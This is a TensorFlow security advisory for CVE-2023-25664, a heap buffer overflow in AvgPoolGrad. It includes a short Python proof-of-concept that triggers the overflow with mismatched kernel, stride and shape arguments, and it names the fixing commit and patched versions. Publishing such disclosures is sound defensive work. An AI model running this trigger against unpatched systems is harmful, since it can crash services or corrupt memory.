## TFSA-2023-010: Heap-buffer-overflow in AvgPoolGrad  

### CVE Number
CVE-2023-25664

### Impact
```python
import os
os.environ['TF_ENABLE_ONEDNN_OPTS'] = '0'
import tensorflow as tf
print(tf.__version__)
with tf.device("CPU"):
    ksize = [1, 40, 128, 1]
    strides = [1, 128, 128, 30]
    padding = "SAME"
    data_format = "NHWC"
    orig_input_shape = [11, 9, 78, 9]
    grad = tf.saturate_cast(tf.random.uniform([16, 16, 16, 16], minval=-128, maxval=129, dtype=tf.int64), dtype=tf.float32)
    res = tf.raw_ops.AvgPoolGrad(
        ksize=ksize,
        strides=strides,
        padding=padding,
        data_format=data_format,
        orig_input_shape=orig_input_shape,
        grad=grad,
    )
```

### Patches
We have patched the issue in GitHub commit [ddaac2bdd099bec5d7923dea45276a7558217e5b](https://github.com/tensorflow/tensorflow/commit/ddaac2bdd099bec5d7923dea45276a7558217e5b).

The fix will be included in TensorFlow 2.12.0. We will also cherrypick this commit on TensorFlow 2.11.1


### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.


### Attribution
This vulnerability has been reported by <evn@google.com>
